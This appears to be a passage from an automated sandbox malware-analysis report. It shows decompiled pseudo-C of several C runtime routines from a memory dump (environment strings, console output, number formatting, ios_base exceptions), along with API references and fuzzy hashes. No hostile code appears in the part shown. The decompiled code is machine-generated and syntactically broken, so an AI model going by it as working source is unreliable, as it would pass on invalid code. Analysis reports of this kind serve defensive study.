Opcode Fuzzy Hash: ed6135ce67b36efedd41668e1190843f3a5ab02d88d439b7d257a1dc773afb11
Instruction Fuzzy Hash: C621D7F1A0060DAFCB14AF669C809EB77A8EF44359701451BFC38D7651D738EC8087AA

Uniqueness

Uniqueness Score: -1.00%

Function 004290E3 Relevance: 6.1, APIs: 4, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 17%

			E004290E3() {
				intOrPtr _v8;
				signed int _v12;
				WCHAR* _t5;
				void* _t6;
				intOrPtr _t9;
				WCHAR* _t19;
				WCHAR* _t26;
				WCHAR* _t29;

				_push(_t21);
				_t5 = GetEnvironmentStringsW();
				_t29 = _t5;
				if(_t29 != 0) {
					_t6 = E004290AC(_t29);
					_t19 = 0;
					_v12 = _t6 - _t29 >> 1;
					_t9 = E00427D31(0, 0, _t29, _t6 - _t29 >> 1, 0, 0, 0, 0);
					_v8 = _t9;
					if(_t9 != 0) {
						_t26 = E00421D39(_t9);
						_push(0);
						if(_t26 != 0) {
							_push(0);
							_push(_v8);
							_push(_t26);
							_push(_v12);
							_push(_t29);
							_push(0);
							_push(0);
							if(E00427D31() != 0) {
								E00421955(0);
								_t19 = _t26;
							} else {
								E00421955(_t26);
							}
							FreeEnvironmentStringsW(_t29);
							_t5 = _t19;
						} else {
							E00421955();
							FreeEnvironmentStringsW(_t29);
							_t5 = 0;
						}
					} else {
						FreeEnvironmentStringsW(_t29);
						_t5 = 0;
					}
				}
				return _t5;
			}

0x004290e9
0x004290eb
0x004290f1
0x004290f5
0x004290fd
0x00429102
0x00429110
0x00429113
0x0042911b
0x00429120
0x00429134
0x00429137
0x0042913a
0x0042914d
0x0042914e
0x00429151
0x00429152
0x00429155
0x00429156
0x00429157
0x00429162
0x0042916d
0x00429172
0x00429164
0x00429165
0x00429165
0x00429176
0x0042917c
0x0042913c
0x0042913c
0x00429143
0x00429149
0x00429149
0x00429122
0x00429123
0x00429129
0x00429129
0x0042917f
0x00429182

APIs

GetEnvironmentStringsW.KERNEL32 ref: 004290EB

Part of subcall function 00427D31: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,004264E6,?,00000000,-00000008), ref: 00427DDD

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00429123
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00429143

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 14f98267f0a0e831571dd72c81147b71c8cf8b3e4259610969fd937c0f0f3997
Instruction ID: d3b774b84d90028c5ac06bfc672d72ef517ab5b7adc91b89351797ff02865a87
Opcode Fuzzy Hash: 14f98267f0a0e831571dd72c81147b71c8cf8b3e4259610969fd937c0f0f3997
Instruction Fuzzy Hash: E111A5F1705537BE77152B737C8DCBF6A6CDE86399790042BF40691101EA2C9D0185B9

Uniqueness

Uniqueness Score: -1.00%

Function 0042FF97 Relevance: 6.0, APIs: 4, Instructions: 29
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0042FF97(void* _a4, long _a8, DWORD* _a12) {
				void* _t13;

				_t13 = WriteConsoleW( *0x443a90, _a4, _a8, _a12, 0);
				if(_t13 == 0 && GetLastError() == 6) {
					E0042FF80();
					E0042FF42();
					_t13 = WriteConsoleW( *0x443a90, _a4, _a8, _a12, _t13);
				}
				return _t13;
			}

0x0042ffb4
0x0042ffb8
0x0042ffc5
0x0042ffca
0x0042ffe5
0x0042ffe5
0x0042ffeb

APIs

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,00000000,?,0042C472,00000000,00000001,00000000,00000000,?,00421265,00000000,00000000,00000000), ref: 0042FFAE
GetLastError.KERNEL32(?,0042C472,00000000,00000001,00000000,00000000,?,00421265,00000000,00000000,00000000,00000000,00000000,?,00421823,00000000), ref: 0042FFBA

Part of subcall function 0042FF80: CloseHandle.KERNEL32(FFFFFFFE,0042FFCA,?,0042C472,00000000,00000001,00000000,00000000,?,00421265,00000000,00000000,00000000,00000000,00000000), ref: 0042FF90

___initconout.LIBCMT ref: 0042FFCA

Part of subcall function 0042FF42: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0042FF71,0042C45F,00000000,?,00421265,00000000,00000000,00000000,00000000), ref: 0042FF55

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,?,0042C472,00000000,00000001,00000000,00000000,?,00421265,00000000,00000000,00000000,00000000), ref: 0042FFDF

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: bf2e4416379429360feb3247554c5736a4e9051b5cfcbff7e55d51dfaefecf04
Instruction ID: e273299a1c226340d7e6ae76a81486f9c2cff00950df4c2c310153f616b4f000
Opcode Fuzzy Hash: bf2e4416379429360feb3247554c5736a4e9051b5cfcbff7e55d51dfaefecf04
Instruction Fuzzy Hash: D3F01236200129BBCF125FD1EC0898E3F76EF097B2B814071FA1D95530C6318964DB98

Uniqueness

Uniqueness Score: -1.00%

Function 00407860 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 403
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00407860(void* __ebx, void* __edi, intOrPtr* _a4, char _a8, intOrPtr _a12, intOrPtr _a16, char _a20, intOrPtr _a24, signed char _a28, intOrPtr _a32) {
				char _v8;
				char _v16;
				signed int _v20;
				char _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char _v48;
				intOrPtr _v52;
				char _v56;
				char _v72;
				intOrPtr* _v76;
				intOrPtr _v80;
				intOrPtr* _v84;
				char _v88;
				char _v92;
				signed int _v96;
				char _v100;
				char _v104;
				char* _v116;
				void* _v124;
				void* __esi;
				void* __ebp;
				signed int _t173;
				signed int _t174;
				intOrPtr _t179;
				intOrPtr* _t192;
				intOrPtr* _t202;
				intOrPtr _t208;
				intOrPtr _t209;
				signed int _t211;
				intOrPtr* _t215;
				intOrPtr* _t220;
				char _t225;
				short* _t230;
				char* _t231;
				intOrPtr _t237;
				intOrPtr* _t244;
				intOrPtr* _t248;
				char _t265;
				void* _t276;
				intOrPtr _t278;
				intOrPtr* _t280;
				void* _t281;
				char _t282;
				intOrPtr* _t283;
				intOrPtr* _t284;
				intOrPtr* _t289;
				intOrPtr* _t290;
				intOrPtr _t292;
				intOrPtr _t295;
				intOrPtr _t296;
				intOrPtr _t301;
				char _t302;
				signed int _t304;
				void* _t312;
				intOrPtr _t315;
				intOrPtr* _t325;
				intOrPtr* _t326;
				void* _t327;
				intOrPtr* _t330;
				signed char _t334;
				signed char _t337;
				void* _t338;
				void* _t339;
				intOrPtr _t340;
				void* _t341;
				void* _t342;
				char _t344;
				void* _t345;
				char* _t346;
				char* _t354;
				signed int _t355;
				void* _t357;
				void* _t358;
				void* _t360;
				void* _t361;
				void* _t362;
				intOrPtr _t385;

				_push(0xffffffff);
				_push(0x431a65);
				_push( *[fs:0x0]);
				_t358 = _t357 - 0x58;
				_t173 =  *0x443048; // 0x7239e5fc
				_t174 = _t173 ^ _t355;
				_v20 = _t174;
				_push(__ebx);
				_push(__edi);
				_push(_t174);
				 *[fs:0x0] =  &_v16;
				_t278 = _a32;
				_t282 = _a20;
				_t337 = _a28;
				_v104 = _a8;
				_v92 = _t282;
				_v96 = _t337;
				if(_t278 == 0) {
					L4:
					_t344 = 0;
				} else {
					_t276 =  *_t337;
					if(_t276 == 0x2b || _t276 == 0x2d) {
						_t344 = 1;
					} else {
						goto L4;
					}
				}
				_v80 = _t344;
				if(( *(_t282 + 0x14) & 0x00003000) == 0x3000) {
					_t12 = _t344 + 2; // 0x2
					_t179 = _t12;
					_t327 = "pP";
					if(_t179 <= _t278 &&  *((char*)(_t337 + _t344)) == 0x30) {
						_t282 =  *((intOrPtr*)(_t337 + _t344 + 1));
						if(_t282 == 0x78 || _t282 == 0x58) {
							_t344 = _t179;
							_v80 = _t344;
						}
					}
				} else {
					_t327 = "eE";
				}
				_v100 = E00418710(_t282, _t337, _t327);
				_v24 = 0x2e;
				_v24 =  *((intOrPtr*)( *((intOrPtr*)(E0041A69B(_t327, _t344)))));
				_t338 = E00418710(_t282, _t337,  &_v24);
				_t283 =  *((intOrPtr*)( *((intOrPtr*)(_v92 + 0x30)) + 4));
				_v84 = _t283;
				 *((intOrPtr*)( *_t283 + 4))();
				_v8 = 0;
				_t192 = E00408230(_t278,  &_v88);
				_v8 = 0xffffffff;
				_t360 = _t358 + 0x14;
				_t284 = _v84;
				_v76 = _t192;
				if(_t284 != 0) {
					_t326 =  *((intOrPtr*)( *_t284 + 8))();
					if(_t326 != 0) {
						 *((intOrPtr*)( *_t326))(1);
					}
				}
				E00405CE0(_t278, _t327, _t278);
				_v8 = 1;
				_t195 =  >=  ? _v48 :  &_v48;
				 *((intOrPtr*)( *_v76 + 0x1c))(0);
				_t289 =  *((intOrPtr*)( *((intOrPtr*)(_v92 + 0x30)) + 4));
				_v84 = _t289;
				 *((intOrPtr*)( *_t289 + 4))();
				_v8 = 2;
				_t202 = E004088A0(_t278, _t338, _t344,  &_v88, _v96, _t278 + _v96,  >=  ? _v48 :  &_v48);
				_v8 = 1;
				_t361 = _t360 + 4;
				_t330 = _v84;
				_t290 = _t202;
				_v76 = _t290;
				if(_t330 != 0) {
					_t325 =  *((intOrPtr*)( *_t330 + 8))();
					if(_t325 != 0) {
						 *((intOrPtr*)( *_t325))(1);
					}
					_t290 = _v76;
				}
				 *((intOrPtr*)( *_t290 + 0x14))( &_v72);
				_v8 = 3;
				_v96 =  *((intOrPtr*)( *((intOrPtr*)( *_v76 + 0x10))))();
				if(_t338 != _t278) {
					_t265 =  *((intOrPtr*)( *((intOrPtr*)( *_v76 + 0xc))))();
					_t267 =  >=  ? _v48 :  &_v48;
					 *((char*)(( >=  ? _v48 :  &_v48) + _t338)) = _t265;
				}
				_t339 =  ==  ? _v100 : _t338;
				_t280 =  >=  ? _v72 :  &_v72;
				_t208 =  *_t280;
				if(_t208 == 0x7f) {
					L29:
					_t292 = _v92;
					_t209 = _v32;
					_v80 = _t209;
					_t385 =  *((intOrPtr*)(_t292 + 0x24));
					_t340 =  *((intOrPtr*)(_t292 + 0x20));
					if(_t385 < 0 || _t385 <= 0 && _t340 == 0 || _t340 <= _t209) {
						_t341 = 0;
					} else {
						_t341 = _t340 - _t209;
					}
					_t280 = _a4;
					_t211 =  *(_t292 + 0x14) & 0x000001c0;
					if(_t211 == 0x40) {
						_t213 =  >=  ? _v48 :  &_v48;
						_t215 = E00407400(_t292, _t280,  &_v88, _a12, _a16,  >=  ? _v48 :  &_v48, _t344);
						_t362 = _t361 + 0x18;
					} else {
						if(_t211 == 0x100) {
							_t242 =  >=  ? _v48 :  &_v48;
							_t244 = E00407400(_t292, _t280,  &_v88, _a12, _a16,  >=  ? _v48 :  &_v48, _t344);
							_a16 =  *((intOrPtr*)(_t244 + 4));
							_a12 =  *_t244;
							_t215 = E00407390(_t280,  &_v88,  *_t244,  *((intOrPtr*)(_t244 + 4)), _a24, _t341);
							_t362 = _t361 + 0x30;
							_t341 = 0;
						} else {
							_t248 = E00407390(_t280,  &_v88, _a12, _a16, _a24, _t341);
							_t341 = 0;
							_t250 =  >=  ? _v48 :  &_v48;
							_a12 =  *_t248;
							_a16 =  *((intOrPtr*)(_t248 + 4));
							_t215 = E00407400( *((intOrPtr*)(_t248 + 4)), _t280,  &_v88,  *_t248,  *((intOrPtr*)(_t248 + 4)),  >=  ? _v48 :  &_v48, _t344);
							_t362 = _t361 + 0x30;
						}
					}
					_a12 =  *_t215;
					_t217 =  >=  ? _v48 :  &_v48;
					_v80 = _v80 - _t344;
					_t218 = ( >=  ? _v48 :  &_v48) + _t344;
					_a16 =  *((intOrPtr*)(_t215 + 4));
					_t220 = E00407400( *((intOrPtr*)(_t215 + 4)), _t280,  &_v88,  *_t215,  *((intOrPtr*)(_t215 + 4)), ( >=  ? _v48 :  &_v48) + _t344, _v80);
					_t333 = _v92;
					_t344 = _v104;
					_a12 =  *_t220;
					_a16 =  *((intOrPtr*)(_t220 + 4));
					 *((intOrPtr*)(_t333 + 0x20)) = 0;
					 *((intOrPtr*)(_t333 + 0x24)) = 0;
					E00407390(_t280, _t344,  *_t220,  *((intOrPtr*)(_t220 + 4)), _a24, _t341);
					_t295 = _v52;
					_t361 = _t362 + 0x30;
					if(_t295 < 0x10) {
						L44:
						_t296 = _v28;
						_v56 = 0;
						_v52 = 0xf;
						_v72 = 0;
						if(_t296 < 0x10) {
							L48:
							 *[fs:0x0] = _v16;
							_pop(_t342);
							_pop(_t345);
							_pop(_t281);
							return E0041361E(_t344, _t281, _v20 ^ _t355, _t333, _t342, _t345);
						} else {
							_t333 = _v48;
							_t301 = _t296 + 1;
							_t225 = _v48;
							if(_t301 < 0x1000) {
								L47:
								_push(_t301);
								E004138AD(_t333);
								goto L48;
							} else {
								_t333 =  *((intOrPtr*)(_t225 - 4));
								_t301 = _t301 + 0x23;
								if(_t225 -  *((intOrPtr*)(_t225 - 4)) + 0xfffffffc > 0x1f) {
									goto L50;
								} else {
									goto L47;
								}
							}
						}
					} else {
						_t333 = _v72;
						_t312 = _t295 + 1;
						_t237 = _v72;
						if(_t312 < 0x1000) {
							L43:
							_push(_t312);
							E004138AD(_t333);
							_t361 = _t361 + 8;
							goto L44;
						} else {
							_t333 =  *((intOrPtr*)(_t237 - 4));
							_t301 = _t312 + 0x23;
							if(_t237 -  *((intOrPtr*)(_t237 - 4)) + 0xfffffffc > 0x1f) {
								goto L50;
							} else {
								goto L43;
							}
						}
					}
				} else {
					while(_t208 > 0) {
						_t315 = _t208;
						if(_t315 >= _t339 - _t344) {
							goto L29;
						} else {
							_t339 = _t339 - _t315;
							_t301 = _v32;
							if(_t301 < _t339) {
								E00408220(_t280);
								L50:
								E0041805F(_t280, _t301, _t333);
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								_push(_t355);
								_t334 =  *(_t361 + 0x14);
								_push(_t344);
								_t346 = _v116;
								 *_t346 = 0x25;
								_t230 = _t346 + 1;
								if((_t334 & 0x00000020) != 0) {
									 *_t230 = 0x2b;
									_t230 = _t230 + 1;
								}
								if((_t334 & 0x00000010) != 0) {
									 *_t230 = 0x23;
									_t230 = _t230 + 1;
								}
								_t302 = _a8;
								 *_t230 = 0x2a2e;
								_t231 = _t230 + 2;
								if(_t302 != 0) {
									 *_t231 = _t302;
									_t231 = _t231 + 1;
								}
								_t304 = _t334 & 0x00003000;
								if((_t334 & 0x00000004) == 0) {
									if(_t304 != 0x2000) {
										if(_t304 != 0x3000) {
											 *_t231 = 0x65 + (_t304 & 0xffffff00 | _t304 != 0x00001000) * 2;
											 *((char*)(_t231 + 1)) = 0;
											return _t346;
										} else {
											 *_t231 = 0x61;
											 *((char*)(_t231 + 1)) = 0;
											return _t346;
										}
									} else {
										goto L63;
									}
								} else {
									if(_t304 == 0x2000) {
										L63:
										 *_t231 = 0x66;
										 *((char*)(_t231 + 1)) = 0;
										return _t346;
									} else {
										if(_t304 != 0x3000) {
											 *_t231 = 0x45 + (_t304 & 0xffffff00 | _t304 != 0x00001000) * 2;
											 *((char*)(_t231 + 1)) = 0;
											return _t346;
										} else {
											 *_t231 = 0x41;
											 *((char*)(_t231 + 1)) = 0;
											return _t346;
										}
									}
								}
							} else {
								_t333 = _v28;
								if(_v28 - _t301 < 1) {
									_push(_v96);
									_v100 = 0;
									L00408B80(_t280,  &_v48, _t339, _t344, 1, _v100, _t339, 1);
								} else {
									_v32 = _t301 + 1;
									_t353 =  >=  ? _v48 :  &_v48;
									_t354 = ( >=  ? _v48 :  &_v48) + _t339;
									E00414BF0(_t354 + 1, _t354, _t301 - _t339 + 1);
									_t361 = _t361 + 0xc;
									 *_t354 = _v96 << 0x00000008 | _v96 & 0x000000ff;
									_t344 = _v80;
								}
								_t280 =  >  ? _t280 + 1 : _t280;
								_t208 =  *_t280;
								if(_t208 != 0x7f) {
									continue;
								} else {
									goto L29;
								}
							}
						}
						goto L67;
					}
					goto L29;
				}
				L67:
			}

0x00407863
0x00407865
0x00407870
0x00407871
0x00407874
0x00407879
0x0040787b
0x0040787e
0x00407880
0x00407881
0x00407885
0x0040788b
0x00407891
0x00407894
0x00407897
0x0040789a
0x0040789d
0x004078a2
0x004078b5
0x004078b5
0x004078a4
0x004078a4
0x004078a8
0x004078ae
0x00000000
0x00000000
0x00000000
0x004078a8
0x004078bf
0x004078c7
0x004078d0
0x004078d0
0x004078d3
0x004078da
0x004078e2
0x004078e9
0x004078f0
0x004078f2
0x004078f2
0x004078e9
0x004078c9
0x004078c9
0x004078c9
0x004078fc
0x00407904
0x00407911
0x0040791e
0x00407929
0x0040792c
0x00407931
0x00407937
0x0040793f
0x00407944
0x0040794b
0x0040794e
0x00407951
0x00407956
0x0040795d
0x00407961
0x00407967
0x00407967
0x00407961
0x0040796f
0x0040797d
0x00407988
0x00407997
0x004079a0
0x004079a3
0x004079a8
0x004079ae
0x004079b3
0x004079b8
0x004079bc
0x004079bf
0x004079c2
0x004079c4
0x004079c9
0x004079d2
0x004079d6
0x004079dc
0x004079dc
0x004079de
0x004079de
0x004079e7
0x004079ed
0x004079f8
0x004079fd
0x00407a07
0x00407a12
0x00407a18
0x00407a18
0x00407a1b
0x00407a26
0x00407a2a
0x00407a2e
0x00407ac3
0x00407ac3
0x00407ac6
0x00407ac9
0x00407acc
0x00407ad0
0x00407ad3
0x00407ae3
0x00407adf
0x00407adf
0x00407adf
0x00407ae8
0x00407aeb
0x00407af3
0x00407b86
0x00407b96
0x00407b9b
0x00407af9
0x00407afe
0x00407b47
0x00407b57
0x00407b66
0x00407b6f
0x00407b72
0x00407b77
0x00407b7a
0x00407b00
0x00407b0f
0x00407b14
0x00407b23
0x00407b2d
0x00407b32
0x00407b35
0x00407b3a
0x00407b3a
0x00407afe
0x00407baa
0x00407bad
0x00407bb1
0x00407bb4
0x00407bb9
0x00407bc4
0x00407bc9
0x00407bcc
0x00407bd8
0x00407bdf
0x00407be2
0x00407be9
0x00407bf0
0x00407bf5
0x00407bf8
0x00407bfe
0x00407c28
0x00407c28
0x00407c2b
0x00407c32
0x00407c39
0x00407c40
0x00407c6a
0x00407c6f
0x00407c77
0x00407c78
0x00407c79
0x00407c87
0x00407c42
0x00407c42
0x00407c45
0x00407c46
0x00407c4e
0x00407c60
0x00407c60
0x00407c62
0x00000000
0x00407c50
0x00407c50
0x00407c53
0x00407c5e
0x00000000
0x00000000
0x00000000
0x00000000
0x00407c5e
0x00407c4e
0x00407c00
0x00407c00
0x00407c03
0x00407c04
0x00407c0c
0x00407c1e
0x00407c1e
0x00407c20
0x00407c25
0x00000000
0x00407c0e
0x00407c0e
0x00407c11
0x00407c1c
0x00000000
0x00000000
0x00000000
0x00000000
0x00407c1c
0x00407c0c
0x00407a34
0x00407a34
0x00407a3c
0x00407a45
0x00000000
0x00407a47
0x00407a47
0x00407a49
0x00407a4e
0x00407c88
0x00407c8d
0x00407c8d
0x00407c92
0x00407c93
0x00407c94
0x00407c95
0x00407c96
0x00407c97
0x00407c98
0x00407c99
0x00407c9a
0x00407c9b
0x00407c9c
0x00407c9d
0x00407c9e
0x00407c9f
0x00407ca0
0x00407ca3
0x00407ca6
0x00407ca7
0x00407caa
0x00407cad
0x00407cb3
0x00407cb5
0x00407cb8
0x00407cb8
0x00407cbc
0x00407cbe
0x00407cc1
0x00407cc1
0x00407cc2
0x00407cc5
0x00407cca
0x00407ccf
0x00407cd1
0x00407cd3
0x00407cd3
0x00407cd6
0x00407cdf
0x00407d1f
0x00407d34
0x00407d53
0x00407d55
0x00407d5d
0x00407d36
0x00407d38
0x00407d3a
0x00407d42
0x00407d42
0x00000000
0x00000000
0x00000000
0x00407ce1
0x00407ce7
0x00407d21
0x00407d23
0x00407d25
0x00407d2d
0x00407ce9
0x00407cef
0x00407d0e
0x00407d10
0x00407d18
0x00407cf1
0x00407cf3
0x00407cf5
0x00407cfd
0x00407cfd
0x00407cef
0x00407ce7
0x00407a54
0x00407a54
0x00407a5e
0x00407a98
0x00407a9b
0x00407aaa
0x00407a60
0x00407a69
0x00407a6c
0x00407a72
0x00407a7b
0x00407a84
0x00407a91
0x00407a93
0x00407a93
0x00407ab6
0x00407ab9
0x00407abd
0x00000000
0x00000000
0x00000000
0x00000000
0x00407abd
0x00407a4e
0x00000000
0x00407a45
0x00000000
0x00407a34
0x00000000

APIs

_strcspn.LIBCMT ref: 004078F7
_strcspn.LIBCMT ref: 00407919

Strings

+a@, xrefs: 0040787E

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: _strcspn
String ID: +a@
API String ID: 3709121408-3244518245
Opcode ID: 5dc103e995ad51b90a74068801d0c7faf9d8e422bdfaf702c370d30785652b9b
Instruction ID: 508c6d915f9254a6b0e9845a21f0e11d85ce9535701cc70608269ce45632ccfa
Opcode Fuzzy Hash: 5dc103e995ad51b90a74068801d0c7faf9d8e422bdfaf702c370d30785652b9b
Instruction Fuzzy Hash: 72E1AE71E042499FDF04DFA8C884AEEBBB5EF49304F14806AE815BB391D738E945CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0041CFDD Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 0041D06D

Strings

pow, xrefs: 0041D045, 0041D062

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 53a87f3bb7df7e35730d172635f75f797c4e2345677e7362e84e52001b1ca687
Instruction ID: 8d7ce4bedb2077184ed2a48982ab9f327208b51c00b579dbadb4d7d4ca4bc968
Opcode Fuzzy Hash: 53a87f3bb7df7e35730d172635f75f797c4e2345677e7362e84e52001b1ca687
Instruction Fuzzy Hash: C4515BF1F0C50296CB117B28E9413AB6F90DB84754F70896FE0D5423A9EB3D9CC69A4E

Uniqueness

Uniqueness Score: -1.00%

Function 00403910 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 157
COMMON

Download Yara Rule

C-Code - Quality: 41%

			E00403910(void* __ebx, intOrPtr* __ecx) {
				char _v4;
				intOrPtr _v8;
				intOrPtr _v16;
				char _v24;
				intOrPtr* _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				signed int _v60;
				void* _v76;
				void* _v104;
				intOrPtr _v112;
				void* _v128;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t42;
				intOrPtr* _t45;
				intOrPtr _t48;
				signed int _t53;
				signed int _t59;
				void* _t62;
				void* _t73;
				intOrPtr* _t76;
				intOrPtr _t80;
				void* _t83;
				signed char _t85;
				intOrPtr* _t86;
				intOrPtr* _t88;
				intOrPtr _t91;
				intOrPtr* _t93;
				char* _t100;
				intOrPtr _t101;
				signed int _t105;
				signed int _t107;
				void* _t111;
				signed int _t114;
				signed int _t115;
				void* _t120;

				_t73 = _t111;
				_t114 = (_t111 - 0x00000008 & 0xfffffff8) + 4;
				_v8 =  *((intOrPtr*)(_t73 + 4));
				_t105 = _t114;
				_push(0xffffffff);
				_push(0x43156d);
				_push( *[fs:0x0]);
				_push(_t73);
				_t115 = _t114 - 0x20;
				_t42 =  *0x443048; // 0x7239e5fc
				_push(_t42 ^ _t105);
				 *[fs:0x0] =  &_v24;
				_t96 = __ecx;
				_v32 = __ecx;
				_t45 =  *((intOrPtr*)(_t73 + 0xc));
				asm("xorps xmm0, xmm0");
				_t88 =  *((intOrPtr*)(_t73 + 8));
				_t76 = _t88;
				_v32 = __ecx;
				asm("movups [ebp-0x30], xmm0");
				_t91 =  *_t45;
				_v32 =  *((intOrPtr*)(_t45 + 4));
				_v44 = 0;
				_v40 = 0;
				_v36 = _t76 + 1;
				do {
					_t48 =  *_t76;
					_t76 = _t76 + 1;
				} while (_t48 != 0);
				_push(_t76 - _v36);
				_push(_t88);
				E00402830(_t73,  &_v60, _t88, _t91, __ecx);
				_v16 = 0;
				_push( &_v60);
				_push(_v32);
				E00402FD0(_t73, __ecx, _t88, _t91, _t91);
				_t80 = _v40;
				if(_t80 < 0x10) {
					L6:
					 *_t96 = 0x4345d0;
					 *[fs:0x0] = _v24;
					return _t96;
				} else {
					_t89 = _v60;
					_t83 = _t80 + 1;
					_t53 = _v60;
					if(_t83 < 0x1000) {
						L5:
						_push(_t83);
						E004138AD(_t89);
						goto L6;
					} else {
						_t89 =  *((intOrPtr*)(_t53 - 4));
						_t83 = _t83 + 0x23;
						if(_t53 -  *((intOrPtr*)(_t53 - 4)) + 0xfffffffc > 0x1f) {
							E0041805F(_t73, _t83, _t89);
							asm("int3");
							asm("int3");
							asm("int3");
							_push(_t105);
							_t107 = _t115;
							_t120 = (_t115 & 0xfffffff8) - 0x1c;
							_t59 = _v60 & 0x00000017;
							 *(_t83 + 0xc) = _t59;
							_push(__ecx);
							_t85 =  *(_t83 + 0x10) & _t59;
							if(_t85 == 0) {
								return _t59;
							} else {
								if(_v4 != 0) {
									E00414B7B(0, 0);
								}
								if((_t85 & 0x00000004) == 0) {
									_t100 =  ==  ? "ios_base::eofbit set" : "ios_base::failbit set";
								} else {
									_t100 = "ios_base::badbit set";
								}
								_t62 = E00402FB0(_t120 + 4, 1);
								_t86 = _t120 + 0x14;
								_push(_t62);
								E00403910(_t73, _t86, _t100);
								E00414B7B(_t120 + 0x18, 0x4422f0);
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								_push(_t107);
								_push(_t100);
								_t101 = _v112;
								asm("xorps xmm0, xmm0");
								_push(_t91);
								_t93 = _t86;
								 *_t93 = 0x433244;
								asm("movq [eax], xmm0");
								E00414631(_t101 + 4, _t93 + 4);
								 *_t93 = 0x43459c;
								 *((intOrPtr*)(_t93 + 0xc)) =  *((intOrPtr*)(_t101 + 0xc));
								 *((intOrPtr*)(_t93 + 0x10)) =  *((intOrPtr*)(_t101 + 0x10));
								 *_t93 = 0x4345d0;
								return _t93;
							}
						} else {
							goto L5;
						}
					}
				}
			}

0x00403911
0x00403919
0x00403920
0x00403924
0x00403926
0x00403928
0x00403933
0x00403934
0x00403935
0x0040393a
0x00403941
0x00403945
0x0040394b
0x0040394d
0x00403950
0x00403953
0x00403956
0x00403959
0x0040395b
0x0040395e
0x00403962
0x00403967
0x0040396d
0x00403974
0x0040397b
0x00403980
0x00403980
0x00403982
0x00403983
0x0040398a
0x0040398b
0x0040398f
0x00403997
0x0040399e
0x0040399f
0x004039a5
0x004039aa
0x004039b0
0x004039da
0x004039da
0x004039e5
0x004039f5
0x004039b2
0x004039b2
0x004039b5
0x004039b6
0x004039be
0x004039d0
0x004039d0
0x004039d2
0x00000000
0x004039c0
0x004039c0
0x004039c3
0x004039ce
0x004039f8
0x004039fd
0x004039fe
0x004039ff
0x00403a00
0x00403a01
0x00403a09
0x00403a0c
0x00403a0f
0x00403a15
0x00403a16
0x00403a18
0x00403a26
0x00403a1a
0x00403a1e
0x00403a2d
0x00403a2d
0x00403a35
0x00403a4b
0x00403a37
0x00403a37
0x00403a37
0x00403a55
0x00403a5d
0x00403a61
0x00403a63
0x00403a72
0x00403a77
0x00403a78
0x00403a79
0x00403a7a
0x00403a7b
0x00403a7c
0x00403a7d
0x00403a7e
0x00403a7f
0x00403a80
0x00403a83
0x00403a84
0x00403a87
0x00403a8a
0x00403a8b
0x00403a91
0x00403a97
0x00403a9f
0x00403aa4
0x00403ab3
0x00403ab8
0x00403abb
0x00403ac4
0x00403ac4
0x00000000
0x00000000
0x00000000
0x004039ce
0x004039be

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00403A9F

Part of subcall function 00414B7B: RaiseException.KERNEL32(E06D7363,00000001,00000003,?,?,?,?,004123EF,?,00441908,00402904,string too long,00402904,?,?,?), ref: 00414BDB

Strings

ios_base::failbit set, xrefs: 00403938
ios_base::badbit set, xrefs: 00403A37, 00403A62, 00403A83

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: ios_base::badbit set$ios_base::failbit set
API String ID: 3109751735-1240500531
Opcode ID: 679b19d6526c42d3fef2e77a593f1b5c19d424eca2adc12c72b18571d7f0ea98
Instruction ID: dff861e1577ca60c34eef900b601ccfe213b4d2046d6d65c0aa6cf5fb82dfb42
Opcode Fuzzy Hash: 679b19d6526c42d3fef2e77a593f1b5c19d424eca2adc12c72b18571d7f0ea98
